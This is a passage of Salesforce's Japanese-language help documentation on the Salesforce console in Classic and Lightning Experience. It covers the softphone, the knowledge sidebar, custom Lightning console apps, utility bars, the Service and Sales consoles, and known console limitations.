(1) 黄: レコード変更時 (2) 青: 最後に参照した項目の場合 (3) 太字斜体: システム管理者が指定した項目の変更時

メモ:

• 取引先、取引先責任者、ケース、リード、商談、キャンペーン、ToDo、およびカスタムオブジェクト
とその項目を転送通知に使用できます。

• 転送通知は、Professional Edition のコンソールでは使用できません。
• リードオブジェクトの転送通知を設定して Data.com クリーンアップルールを使用する場合、転送通知

がコンソールでトリガされます。余分な通知が転送通知の制限に影響を及ぼすことがあります。

関連トピック:

Salesforce Classic の Salesforce コンソールの操作

Salesforce Classic の Salesforce コンソールでのソフトフォンの使用

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

ソフトフォンを表示およ
び使用する
• 「コールセンターのメ

ンバー」

コンソールでソフトフォンを使用して、通話だけでなく着信、発信、転送に関
するレコードを表示できます。
コールセンターに割り当てられたユーザがソフトフォンにアクセスできます。
コンソールのフッターからソフトフォンを表示するには、 をクリックしま
す。相互関係ログを使用すると、通話ログにメモを作成できます。通話ログは、
ソフトフォンの使用時に自動的に生成される活動レコードで、電話番号、発信
者、日付、時刻、および通話時間を追跡します。通話ログは、通話に関連付け
られている任意のレコードの [活動履歴] 関連リストで参照できます。

重要:  (1) 通話中にブラウザを更新した場合、(2) 複数のブラウザで同時にソ
フトフォンを使用した場合、(3) コンソールのないブラウザでソフトフォン
に切り替えた場合、データが正常に保存されない可能性があります。

メモ:  CTI Toolkit のバージョン 4.0 で作成された CTI アダプタを使用している
場合は、アダプタに接続していなくても、 がフッターに表示されます。

ヒント: をクリックしてソフトフォンを非表示にできますが、コンソー
ルのフッターから離れた場所に移動することはできません。ソフトフォン
の上にあるバーをドラッグしてソフトフォンの高さを変更することもでき
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ます。[通話を終了する]をクリックすると、通話が終了する前に相互関係ログに行った更新が保存されま
す。

関連トピック:

ソフトフォンの使用
Salesforce コールセンター
Salesforce Classic の Salesforce コンソールの操作

Salesforce Classic の Salesforce コンソールでのナレッジ記事の検索

エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

Salesforce ナレッジの記事
を表示する
• 記事タイプに対する

「参照」

Salesforce ナレッジの記事
をケースに追加する
• ケースに対する「編

集」

Salesforce ナレッジおよびナレッジサイドバーはシステム管理者によって設定さ
れ、コンソールでケースを選択したときに記事が自動的に表示されます。
ケースを迅速に解決できるように、ケースの [件名]に詳細を入力したときにサ
イドバーに推奨記事が表示されます。表示されるのは過去 30 日間以内に更新さ
れた記事のみですが、検索語を指定するか検索結果を絞り込むことで、古い記
事を表示できます。特定のカテゴリ、言語、または検証状況で記事を絞り込む
には、 をクリックして検索条件オプションを選択します。これらの検索条件
にアクセスするには、検証状況とマルチ言語記事が有効になっている必要があ
ります。記事に使用できる言語は、システム管理者が決定します。サイドバー
で使用できる列は、[新規]、[記事タイトル]、および [参照回数が最多] です。
列の間のバーをドラッグしてサイズを変更できますが、列を追加、削除、並び
替えすることはできません。
ケースの解決に役立つ記事を検索するには、 をクリックして [検索] にキー
ワードを入力し、[移動]をクリックします。ケースに記事を添付するには、記事
の横のあるチェックボックスをクリックして[ケースに添付]をクリックします。
記事は、保存したケースにのみ添付できます。 がケースにすでに添付されて
いる記事の横に表示されます。
表示する記事数を変更するには、サイドバーの左下隅にある記事数インジケー
タをクリックして、設定を選択します。一度に表示できる記事数は、10 件、25

件、50 件、100 件、または 200 件です。この設定を変更すると、リストの最初の
ページに戻ります。

サイドバーの表示、非表示を指定するには、スクロールバーにマウスポインタを置いて、 または をクリッ
クします。記事サイドバーと詳細ページの間のバーをドラッグすると、幅を変更できます。

関連トピック:

Salesforce ナレッジドキュメントの概要

Salesforce Classic の Salesforce コンソールでの Live Agent の使用
Live Agent は、Salesforce コンソールと完全に統合できるチャットソリューションです。
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詳細は、『Live Agent for Support Agent』および『Live Agent for Support Supervisors』を参照してください。

関連トピック:

サポートエージェントの Live Agent

サポートスーパーバイザの Live Agent

Lightning Experience の Salesforce コンソール

エディション

Lightning Experience で使用
可能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Sales
Cloud および Service Cloud
付属)

Lightning Experience で Salesforce コンソールの使用を開始します。
Lightning コンソールアプリケーションは Sales Cloud および Service Cloud ユーザのみ
が使用できます。予期しない問題を避けるため、他のユーザに Lightning コンソー
ルアプリケーションへのアクセス権を与えないでください。
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Lightning コンソールアプリケーションのユーザインターフェース

Lightning コンソールアプリケーションの機能を次に示します。
(1) ナビゲーションタブからオブジェクトを選択します。(2) 選択したレコードがワークスペースタブとして開
きます。これにより、一度に複数の項目を作業できます。(3) ワークスペースタブに関連する選択したレコー
ドがサブタブとして開きます。(4) 強調表示パネルにレコードに関連する主要な情報が表示されます。(5) 共通
のプロセスやツール (履歴、メモなど) へのアクセスがユーティリティバーによって提供されます。(6) [フィー
ド] 領域と [詳細] 領域を使用してレコードの表示と更新を行います。(7) サイドバーに関連情報を表示します。

メモ: Lightning コンソールアプリケーションは、まだ Salesforce Classic コンソールアプリケーションと完全
に同じ機能を使用できるわけではありません。たとえば、キーボードショートカットやマクロなどの
Salesforce Classic コンソールアプリケーションの一部の機能は、Lightning コンソールアプリケーションでは
使用できません。
Salesforce Classic コンソールアプリケーションを Lightning Experience に移行することはできません。

カスタム Lightning コンソールアプリケーションの作成
Lightning Experience で、他の Lightning アプリケーションと同じ方法でカスタムコンソールアプリケーション
を作成します。新規 Lightning アプリケーションウィザードを使用してアプリケーションの色やブランド設
定のカスタマイズ、ユーティリティバーの追加を実行でき、アプリケーションをユーザにとってできるだ
け使いやすくすることができます。
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Lightning ページを使用した Lightning コンソールアプリケーションのカスタマイズ
カスタムLightningページを使用すると、適切なコンソールを作成できます。Lightning アプリケーションビル
ダーを使用してカスタム Lightning ページを作成すると、コンソールユーザは必要なレコードを常に最適な
レイアウトで確認することができます。
ユーティリティを使用した Lightning コンソールアプリケーションのカスタマイズ
ユーティリティバーを使用すると、コンソールユーザは生産性ツール (ソフトフォン、履歴など) にすばや
くアクセスできます。これは、Lightningコンソールアプリケーションに固定フッターとして表示され、ユー
ティリティをドッキングパネルで開きます。
Lightning Service Console

サービスコンソールは、サービスのすべてのニーズを満たすように設計された標準の Salesforce Lightning コ
ンソールアプリケーションです。このアプリケーションをカスタマイズして独自の内容にすることができ
ます。
Lightning セールスコンソール
Lightning セールスコンソールは標準のSalesforce Lightning アプリケーションで、ユーザはこのコンソールを使
用してリードの調査、商談の成立、リレーションの管理を行うためのあらゆるセールスツールに簡単にア
クセスできます。

関連トピック:

Lightning Experience コンソールの制限事項
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カスタム Lightning コンソールアプリケーションの作成
エディション

Lightning Experience で使用
可能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Sales
Cloud および Service Cloud
付属)

ユーザ権限

アプリケーションを参照
する
• 「設定・定義を参照す

る」

アプリケーションを管理
する
• 「アプリケーションの

カスタマイズ」

Lightning Experience で、他の Lightning アプリケーションと同じ方法でカスタムコ
ンソールアプリケーションを作成します。新規 Lightning アプリケーションウィ
ザードを使用してアプリケーションの色やブランド設定のカスタマイズ、ユー
ティリティバーの追加を実行でき、アプリケーションをユーザにとってできる
だけ使いやすくすることができます。
Lightning コンソールアプリケーションは Sales Cloud および Service Cloud ユーザのみ
が使用できます。予期しない問題を避けるため、他のユーザに Lightning コンソー
ルアプリケーションへのアクセス権を与えないでください。
1. [設定] から、[クイック検索] ボックスに「アプリケーション」と入力し、[ア

プリケーションマネージャ] を選択します。
2. [新規 Lightning アプリケーション] をクリックし、新規 Lightning アプリケー

ションウィザードを実行します。
3. アプリケーションに名前を付けてプライマリ色を設定し、ロゴと説明を加え

ます。

ヒント: アプリケーションの説明は、アプリケーションランチャーにア
イコンと共に表示されます。ユーザにとってわかりやすい説明にしてく
ださい。

4. [コンソールナビゲーション] を選択します。Lightning のサービスの設定を使
用する場合、[サービスの設定を含める] を選択します。[次へ] をクリックし
ます。

5. [次へ] をクリックします。
6. アプリケーションユーティリティバーに項目を追加してアプリケーションに表示する項目を選択し、アプ

リケーションをユーザプロファイルに割り当てます。
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Lightning ページを使用した Lightning コンソールアプリケーションの
カスタマイズ

エディション

Lightning Experience で使用
可能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Sales
Cloud および Service Cloud
付属)

ユーザ権限

Lightning アプリケーショ
ンビルダーで Lightning
ページを作成および保存
する
• 「アプリケーションの

カスタマイズ」

Lightning アプリケーショ
ンビルダーで Lightning
ページを参照する
• 「設定・定義を参照す

る」

カスタム Lightning ページを使用すると、適切なコンソールを作成できます。
Lightning アプリケーションビルダーを使用してカスタムLightningページを作成す
ると、コンソールユーザは必要なレコードを常に最適なレイアウトで確認する
ことができます。
カスタムLightningページを作成するには、Lightning アプリケーションビルダーに
移動します。Lightningページのカスタマイズが終了したら、ページをコンソール
アプリケーションに割り当てます。

レコードページテンプレート
[3 列] テンプレートは Lightning コンソールアプリケーションを考慮して設計され
ています。固定比率幅のメインの列と 2 つのサイドバーがあります。メインの
列の幅は 50% で、サイドの列はそれぞれ 25% です。このテンプレートでサポー
トされる最低解像度は 1280 ピクセルです。

Lightning コンポーネント
Lightningコンソールアプリケーションのとても便利ないくつかのコンポーネント
を次に示します。
強調表示パネル

このコンポーネントには、レコードの特長とアクションボタンが表示されま
す。このコンポーネントを使用すると、コンソールユーザは重要な情報を一
目で確認できます。

ナレッジサイドバー (記事の検索)

このコンポーネントを使用すると、コンソールユーザはケースに関連するナ
レッジ記事をすばやく見つけることができるほか、ケースへの記事の添付な
どいくつかの基本アクションを実行できます。
このコンポーネントを有効にするには、組織で Lightning Knowledge を有効にする必要があります。

関連リスト
このコンポーネントでは、レコードごとに1つの関連リスト (親レコードのリストを含む) が表示されます。
たとえば、このコンポーネントを使用して、活動履歴をすべてのケースページのすぐ目に付く中央部分に
表示したり、親取引先責任者のケースを表示したりします。

関連レコード
このコンポーネントでは、関連レコードの詳細 (親レコードを含む) が表示されます。
バックグラウンドでは、このコンポーネントはいくつかのアクションを使用してコンソールユーザに組み
込みのレコード作成機能やインライン編集機能を提供します。コンソールユーザはページから離れること
なくレコードの更新、レコードの作成、レコードのリンク設定を実行できます。
たとえば、このコンポーネントを設定してケースで関連付けられた取引先責任者の詳細を表示したり、ケー
スの親ケースの詳細を表示したりできます。
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このコンポーネントは、Salesforce Classicコンソールで使用するルックアップコンポーネントに似た機能を提
供します。

関連トピック:

Lightning アプリケーションビルダー
Lightning ページの標準コンポーネント
Lightning Experience のレコードページの設定
Lightning サービスコンソールのナレッジサイドバーの使用
クイックアクションとレコードタイプ

ユーティリティを使用した Lightning コンソールアプリケーションの
カスタマイズ

エディション

Lightning Experience で使用
可能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Sales
Cloud および Service Cloud
付属)

ユーザ権限

アプリケーションを参照
する
• 「設定・定義を参照す

る」

アプリケーションを管理
する
• 「アプリケーションの

カスタマイズ」

ユーティリティバーを使用すると、コンソールユーザは生産性ツール (ソフト
フォン、履歴など) にすばやくアクセスできます。これは、Lightning コンソール
アプリケーションに固定フッターとして表示され、ユーティリティをドッキン
グパネルで開きます。
ユーティリティバーを Lightning コンソールアプリケーションに追加するには、
[設定] の [アプリケーションマネージャ] ページでアプリケーションを編集しま
す。
ユーティリティバーを作成する場合は、次の点に注意してください。
• Lightningアプリケーションウィザードを使用して作成したユーティリティバー

は 1 つの Lightning アプリケーションにのみ割り当てることができます。ただ
し、API 使用して作成したユーティリティバーは複数の Lightning アプリケー
ションに割り当てることができます。

• ユーティリティバーでは、Visualforceページおよびコンポーネントはサポート
されていません。

• [履歴] ユーティリティは Lightning コンソールアプリケーションのみで機能し
ます。

ヒント: 追加するユーティリティは 10 個までとし、ユーティリティラベル
を短く簡潔にすることをお勧めします。ユーザが最も必要とするツールと
プロセスをすばやく見つけることができるようにしてください。

Lightning コンソールアプリケーションの [履歴] ユーティリティ
[履歴] ユーティリティを使用すると、Lightning コンソールユーザはコンソー
ルユーティリティバーから最近アクセスした主タブとサブタブを確認できます。
Lightning コンソールアプリケーションのソフトフォン
Lightning コンソールユーザは、ソフトフォンユーティリティを使用して Salesforce から直接電話をかけるこ
とができます。
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Lightning コンソールアプリケーションの [履歴] ユーティリティ

エディション

Lightning Experience で使用
可能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Sales
Cloud および Service Cloud
付属)

[履歴] ユーティリティを使用すると、Lightning コンソールユーザはコンソール
ユーティリティバーから最近アクセスした主タブとサブタブを確認できます。

メモ:  [履歴] ユーティリティは、標準ナビゲーションが含まれた Lightningア
プリケーションではなく、Lightning コンソールアプリケーションでのみ使
用できます。[履歴] の表示ラベルやアイコンなどのプロパティは変更でき
ません。

[履歴] ユーティリティを使用すると、コンソールユーザはアクセスした主タブの
コンテキストでサブタブを表示 (1) し、リンクをワンクリックでコピー (2) できま
す。タブ名が更新された場合は、ユーザが取引先責任者の名前を更新したとき
のように、履歴リストも更新されます。

ユーティリティを使用するときは、次の点に留意してください。
• リストには一度に最大 10 個の主タブと、各主タブの下に 10 個のサブタブを表示できます。
• 主タブはアクセス順に表示され、最新のタブが最上部に表示されます。サブタブは最初に開いた順序で主

タブの下に表示されます。
• サブタブリンクをコピーすると、そのレコードは主タブとして開きます。
• リンクをコピーして他のユーザと共有する場合、そのユーザにリンクを開く前に必ず Salesforce にログイン

するように指示してください。ログインしていないと、リンクを開いても特定のレコードは表示されず、
ホームページにリダイレクトされます。

ヒント: 標準の Lightning コンソールアプリケーション (サービスコンソールおよびセールスコンソール) に
は [履歴] ユーティリティがデフォルトで含まれています。
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Salesforce Classicのコンソールで [履歴] コンポーネントを使用していた場合、[履歴] ユーティリティは Lightningコ
ンソールアプリケーションと同じ機能を提供します。

Lightning コンソールアプリケーションのソフトフォン

エディション

Lightning Experience で使用
可能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Sales
Cloud および Service Cloud
付属)

Lightningコンソールユーザは、ソフトフォンユーティリティを使用してSalesforce

から直接電話をかけることができます。
Salesforce Voice または Open CTI を使用する Lightningコンソールアプリケーションに
ソフトフォンを追加できます。この 2 つの違いがよくわからないかもしれませ
ん。Open CTI はサードパーティの CTI システムと Salesforce を統合します。Voice

は、Salesforce から直接、番号のプロビジョニングと通話を行う方法を提供しま
す。すでにテレフォニーシステムが導入されている場合は、既存のシステムと
統合する Open CTI が適しています。

重要: ソフトフォンユーティリティを Lightning コンソールアプリケーショ
ンに追加する前に、まず Open CTI または Voice を設定します。

ソフトフォンを Lightning コンソールアプリケーションに追加するときには、次
の点に留意してください。
• ユーティリティのリストに Voice オプションを表示するには、組織で Voice を有効にする必要があります。
• 表示ラベルやアイコンなどのソフトフォンのプロパティは変更できません。

関連トピック:

Voice の設定
Open CTI 開発者ガイド: Open CTI の使用開始

Lightning Service Console

エディション

Lightning Experience で使用
可能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

サービスコンソールは、サービスのすべてのニーズを満たすように設計された
標準のSalesforce Lightningコンソールアプリケーションです。このアプリケーショ
ンをカスタマイズして独自の内容にすることができます。

メモ: Lightningコンソールアプリケーションは、まだSalesforce Classicコンソー
ルアプリケーションと完全に同じ機能を使用できるわけではありません。
たとえば、キーボードショートカットやマクロなどの Salesforce Classic コン
ソールアプリケーションの一部の機能は、Lightning コンソールアプリケー
ションでは使用できません。
Salesforce ClassicコンソールアプリケーションをLightning Experienceに移行する
ことはできません。

標準搭載のサービスコンソールには次の機能が搭載されています。
• 履歴とメモを含む設定済みユーティリティバー
• 3 列レイアウトを使用する、ケース用の設定済み Lightning ページ。これには、関連レコードコンポーネン

ト、関連リストコンポーネント、記事検索ナレッジサイドバーが含まれます。
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• コンパクトなケースフィード
メモユーティリティを表示して使用するには、組織でメモを有効にする必要があります。記事検索ナレッジサ
イドバーを表示して使用するには、組織で Lightning ナレッジを有効にする必要があります。

Lightning サービスコンソールの機能の設定 (ベータ)

サービスコンソールには、サービス固有の設定フローが付属しており、設定と稼働を迅速に行うことがで
きます。ユーザはこのフローに従ってメール-to-ケースを設定し、Twitter および Facebook と統合できます。
Lightning サービスコンソールをカスタマイズする場合のベストプラクティス
サービスの特定のニーズに合わせてサービスコンソールアプリケーションをカスタマイズできます。

Lightning サービスコンソールの機能の設定 (ベータ)

エディション

Lightning Experience で使用
可能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

Lightning サービスコン
ソールを設定する
• 「アプリケーションの

カスタマイズ」

および

「Service Cloud ユー
ザ」

サービスコンソールには、サービス固有の設定フローが付属しており、設定と
稼働を迅速に行うことができます。ユーザはこのフローに従ってメール-to-ケー
スを設定し、Twitter および Facebook と統合できます。

メモ: 今回のリリースには、ベータバージョンの Lightning のサービスの設
定が含まれています。機能の品質は高いですが、既知の制限があります。
Lightningのサービスの設定は、Salesforceがドキュメント、プレスリリース、
または公式声明で正式リリースを発表しない限り、正式リリースされませ
ん。特定期間内の正規リリースあるいはリリースの有無は保証できません。
現在正式にリリースされている製品および機能に基づいて購入をご決定く
ださい。

Lightning のサービスの設定では、直感的な設定ツリーとパフォーマンス総計値
ダッシュボードが提供されます。手順ごとのガイドが必要な場合は、推奨設定
を使用してください。
1. アプリケーションランチャーからサービスコンソールアプリケーションを開

きます。
2. ヘッダーにある をクリックし、[サービスの設定] を選択します。

[サービスの設定のホーム] ページが表示されます。
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サービスの設定のホーム
この設定ツリーは通常のSalesforce設定ツリーのサブセットです。サービス関連のすべての設定ノードが
サービスの設定のツリーに表示されるわけではありません。

重要:  [サービスの設定] ツリーにリストされている設定ページから変更を行うと、Salesforce Classicの
設定に影響します (その逆も同様です)。

ガイド付き設定フロー
ページの上部に表示されているいずれかのカードをクリックし、次の設定を行います。
• メール-to-ケース
• Facebook インテグレーション
• Twitter インテグレーション

推奨設定
[推奨設定] セクションに表示されたいずれかのリンクをクリックして主要な機能を設定し、Service Cloud

の機能を習得して、Salesforce コミュニティにつながることができます。
パフォーマンス

[サービスの設定のホーム] ページのレポートを使用してサービスの総計値を監視します。メールとソー
シャルチャネルの状況を確認したり、コールセンターの急増を分析したり、最新の取り扱い件数の統計
を確認したりできます。

Lightning サービスコンソールをカスタマイズする場合のベストプラクティス

エディション

Lightning Experience で使用
可能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

サービスの特定のニーズに合わせてサービスコンソールアプリケーションをカ
スタマイズできます。
[設定] の [アプリケーションマネージャ] ページから、アプリケーションの基本情
報を編集してカスタマイズできます。変更できない唯一の項目はアプリケーショ
ンの開発者名です。次のようにカスタマイズすることをお勧めします。
• アプリケーションの名前、説明、ブランド設定を更新します。
• 商品や契約など、その他の項目を追加します (デフォルトでは、サービスコ

ンソールアプリケーションにはケース、取引先責任者、取引先、レポート、
ダッシュボード、Chatter、ホームが含まれます)。

• Open CTI ソフトフォンなど、その他のユーティリティを追加します。
• サービスエージェントプロファイルなど、適切なユーザプロファイルにアプ

リケーションを割り当てます。

メモ: サービスコンソールアプリケーションは、すべての標準ユーザプロファイルとカスタムユーザ
プロファイルに自動的に割り当てられます。適切なユーザのみがアプリケーションにアクセスできる
ようにこの割り当てを変更できます。Lightning コンソールアプリケーションは Sales Cloud および Service

Cloud ユーザのみが使用できます。予期しない問題を避けるため、他のユーザに Lightning コンソールア
プリケーションへのアクセス権を与えないでください。
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コンソール内で Lightning ページをカスタマイズする準備ができたら、Lightning アプリケーションビルダーを使
用してレコードページを作成します。

関連トピック:

Lightning ページを使用した Lightning コンソールアプリケーションのカスタマイズ
ユーティリティを使用した Lightning コンソールアプリケーションのカスタマイズ

Lightning セールスコンソール
エディション

Lightning Experience で使用
可能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Sales
Cloud 付属)

Lightning セールスコンソールは標準の Salesforce Lightning アプリケーションで、
ユーザはこのコンソールを使用してリードの調査、商談の成立、リレーション
の管理を行うためのあらゆるセールスツールに簡単にアクセスできます。

メモ: Lightningコンソールアプリケーションは、まだSalesforce Classicコンソー
ルアプリケーションと完全に同じ機能を使用できるわけではありません。
たとえば、キーボードショートカットやマクロなどの Salesforce Classic コン
ソールアプリケーションの一部の機能は、Lightning コンソールアプリケー
ションでは使用できません。
Salesforce ClassicコンソールアプリケーションをLightning Experienceに移行する
ことはできません。

標準のセールスコンソールアプリケーションには次の機能が含まれています。

• 最もよく使用するオブジェクトである取引先、取引先責任者、リード、商談でのナビゲーションしやすい
3 列レイアウト。レイアウトには、レコードの主要な詳細を表示する強調表示パネル (1)、使い慣れたワー
クスペース (2)、便利な関連リスト (3) が含まれています。

5214

Lightning セールスコンソールSalesforce コンソール



• その他のよく使用するオブジェクトおよび機能 (キャンペーン、ToDo、レポートなど) にも簡単にアクセス
できます (4)。

• タブおよびサブタブの直観的なナビゲーション (5)。
• [履歴] を含む事前設定済みユーティリティバー (6)。メモが有効になっている場合は、[メモ] もユーティリ

ティバーに表示されます。
[設定] からアプリケーションマネージャを使用して、システム管理者はセールスコンソールの標準アプリケー
ションをカスタマイズできます。
• ブランド設定を追加する。
• チームがコンソールでアクセスする必要があるその他の項目を追加する。
• 営業担当が Voice などの生産性ツールに簡単にアクセスできるようにユーティリティバーを設定する。
• セールスコンソールは、すべての標準ユーザプロファイルとカスタムユーザプロファイルに自動的に割り

当てられます。適切なユーザがセールスコンソールにアクセスできるように、この割り当てを変更できま
す。Lightning コンソールアプリケーションは Sales Cloud および Service Cloud ユーザのみが使用できます。予期
しない問題を避けるため、他のユーザに Lightning コンソールアプリケーションへのアクセス権を与えない
でください。

[設定] から、システム管理者は Lightning アプリケーションビルダーを使用して特定のページレイアウトをカス
タマイズできます。たとえば、Pardot を使用する場合、適切なページレイアウトに [エンゲージメント履歴] コ
ンポーネントを追加する必要があります。

関連トピック:

カスタム Lightning コンソールアプリケーションの作成
ユーティリティを使用した Lightning コンソールアプリケーションのカスタマイズ
Lightning ページを使用した Lightning コンソールアプリケーションのカスタマイズ
Lightning Experience コンソールの制限事項

Salesforce コンソールの制限事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Sales
Cloud および Service Cloud
付属)

Salesforce コンソールの制限事項について理解します。

Salesforce Classic コンソールの制限事項
コンソールの表示、アクセス、およびカスタマイズの制限について説明しま
す。
Lightning Experience コンソールの制限事項
Lightning Experience のコンソールの制限事項と、Salesforce Classic コンソールア
プリケーションと同等ではない機能について説明します。
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Salesforce Classic コンソールの制限事項
エディション

Salesforce Classic で使用可
能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

コンソールの表示、アクセス、およびカスタマイズの制限について説明します。
表示の制限事項

• Salesforce コンソールは、Salesforce Classic のサポート対象ブラウザでのみ使
用できます。サポート対象外のブラウザを使用すると操作性が低下しま
す。

ヒント: 最高のパフォーマンスを得るために、コンソールユーザが
Google Chrome™ブラウザと RAM が 8 GB のマシンを採用することをお勧
めします。32 ビットシステムはメモリ制限の対象となります。追加
した RAM を最大限に活用するには、OS、ブラウザ共に 64 ビットバー
ジョンを使用します。

• コンソールでは、アラビア語やヘブライ語など、右から左へ記述される言語のサポートが制限されま
す。右から左へ記述される言語は完全にサポートされていないため、ケースフィード、Live Agent、Salesforce

ナレッジなどの一部の機能はコンソールに正常に表示されません。
• Salesforce CRM Content 項目はすべて、コンソールで主タブとして表示されます。
• ソーシャル取引先、取引先責任者、およびリードを使用しているときは、コンソール内のソーシャル

ビューアウィンドウが適切に配置されません。
• レコードのホームページ (標準の [ツール] セクションを含む) は、コンソールに表示されません。

動作とアクセスの制限事項
• ブラウザの [戻る] ボタンはコンソールではサポートされておらず、正常に動作しません。
• Salesforce コンソールは、アクセシビリティ要件を満たしません。
• をクリックして [すべての主タブを更新] または [すべてのサブタブを更新] を選択すると、Visualforce

ページは更新されません。また、関連リストを使用するVisualforceページで詳細ページを上書きすると、
その関連リストを使用して作成された新しいレコードは、ページを新規タブで再度開くまで表示されま
せん。

• 相互関係ログのような主タブコンポーネントを追加するなど、コンソールのページレイアウトを編集し
た場合、ページを閉じて新しい主タブに再度表示するまで、更新されたレイアウトは表示されません。

• 強調表示パネルの項目を直接編集することはできませんが、レコードでこれらの項目を変更すると、強
調表示パネルが自動的に更新されます。

• レポート、ダッシュボード、Chatterなど、オブジェクトの中にはコンソールに完全に適応していないも
のがあります。該当するオブジェクトはコンソール設定領域にアスタリスク (*) が付けられ、予期しな
い動作が生じることがあります。たとえば、(1) 商談の分割を表示中に[キャンセル]をクリックしてもサ
ブタブが閉じず、代わりにサブタブにページの詳細情報が開くことや、(2) 商談品目や見積品目を変更し
たときに自動的に更新されず、最新の変更を表示するためにページを更新する必要があることがありま
す。

• コンソールから一度離れてまた戻ると、表示されていたサブタブが、自動的に再読み込みされないこと
があります。また、Force.comアプリケーションメニューからアプリケーションを選択してコンソールか
ら離れると、ブラウザの [戻る] ボタンや [進む] ボタンが正常に機能しないことがあります。
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• 変更をルックアップコンポーネントに保存するときに、別のルックアップコンポーネントに未保存の変
更があると、その未保存の変更は警告メッセージなしに失われます。

• カスタムリンクや、たとえば、ケース [説明] の中の [http://www.salesforce.com/]などのテキスト項目内
のリンクをクリックすると、リンクがタブではなく、ポップアップウィンドウに表示されます。

• コンソールで [ケース状況の変更] ページを更新すると、ページにアクセスできません というエラーが表
示されます。

• Chatter が無効な場合、検索結果を固定表示できません。
カスタマイズの制限事項

Salesforce Classicコンソールアプリケーションの編集は、Salesforce Classicで行う必要があります。[設定] から、
[クイック検索]ボックスに「アプリケーション」と入力し、[アプリケーション]を選択して、コンソールア
プリケーションの横にある [編集] をクリックします。
• コンソールでは Chatter Messenger がサポートされていません。
• Visualforceページの中には、更新されコンソールで表示されるようになるまで、正しく表示されないもの

があります。
• コンソールでは、[GET 要求の CSRF 保護が必要] 設定を使用する Visualforce ページがサポートされていま

せん。CSRF 保護された Visualforce ページを使用する場合、ページにアクセスしようとするとエージェン
トでエラーが受信される可能性があります。

• Salesforce組織のセキュリティ設定でVisualforceページのクリックジャック保護を有効にすると、Visualforce

ページが正しく機能しなくなります。
• コールセンターユーザは、Open CTI で作成された CTI アダプタを使用している場合のみ、Salesforce コン

ソールでソフトフォンを使用できます。
• Live Agent は、Service Cloud を利用するコンソールでのみ使用できます。
• Live Agentトランスクリプトの強調表示パネルは編集可能ですが、ユーザに対して有効にすることはでき

ません。
• コンソールをカスタマーポータルやパートナーポータルに追加することはできません。

外部オブジェクトの制限
• 外部オブジェクトは、Salesforce Classic の Salesforce コンソールでのみ使用できます。その他のコンソール

はサポートされていません。
• 外部オブジェクトはコンソールに完全には適応していません。そのため、予期しない動作が生じる可能

性があります。他のオブジェクトもコンソールに完全には適応していませんが、そのようなオブジェク
トにはコンソール設定領域にアスタリスク (*) が付けられています。外部オブジェクトにアスタリスク
は付いていません。

• 外部オブジェクトの関連付けられている外部データソースでは、[高データボリューム]オプションを選
択解除する必要があります。この要件は、Salesforce Connect の組織間アダプタには適用されません。

関連トピック:

Salesforce Classic の Salesforce コンソール
Salesforce コンソールの実装計画

5217

Salesforce Classic コンソールの制限事項Salesforce コンソール



Lightning Experience コンソールの制限事項
エディション

Lightning Experience で使用
可能

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Sales
Cloud および Service Cloud
付属)

Lightning Experience のコンソールの制限事項と、Salesforce Classic コンソールアプリ
ケーションと同等ではない機能について説明します。
Salesforce Classicコンソールアプリケーションを Lightning Experienceに移行すること
はできません。Salesforce Classicコンソールアプリケーションの機能のうち、Lightning

コンソールアプリケーションでは使用できない機能の代表的なものは、次のと
おりです。
• キーボードショートカット
• マルチモニター
• 固定表示リスト
• マクロ
• Live Agent

• JavaScript API (インテグレーションツールキットなど)

Visualforce

VisualforceはLightningコンソールアプリケーションでベータとして使用可能です。機能の品質は高いですが、
既知の制限があります。Lightning コンソールアプリケーションでは、Visualforce  Lightning コンポーネントを
使用する Lightning ページ、および Visualforce 一括アクションがサポートされています。Lightning コンソール
アプリケーションで表示されるページのVisualforceの上書き、およびユーティリティバー項目内のVisualforce

コンポーネントはサポートされていません。
個人取引先

• 取引先責任者項目 (活動の [名前] 項目など) から個人取引先に移動すると、個人取引先レコードが取引先
と取引先責任者の両方として開くことがあります。この場合は取引先責任者タブを閉じてください。

• 個人取引先には、法人取引先と同じ 3 列のレイアウトはありません。Lightningアプリケーションビルダー
を使用して目的のレイアウトを作成してから、適切なコンソールアプリケーションと個人取引先レコー
ドタイプに割り当てます。

売上予測
売上予測オブジェクトは、Lightning コンソールアプリケーションではサポートされていません。

Salesforce ナレッジ
PDF ファイルの添付、ケースメールへの記事コンテンツの追加、記事のコミュニティ URL の追加など、いく
つかのナレッジサイドバーアクションは Lightning コンソールアプリケーションでは機能しません。サイド
バーで作成アクションを実行することもできません。ナレッジフッターは Lightning Experience ではサポート
されていません。

関連トピック:

Salesforce コンソールの実装計画
Lightning Experience の Salesforce コンソール
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コードではなくてクリックによる Salesforce の拡張

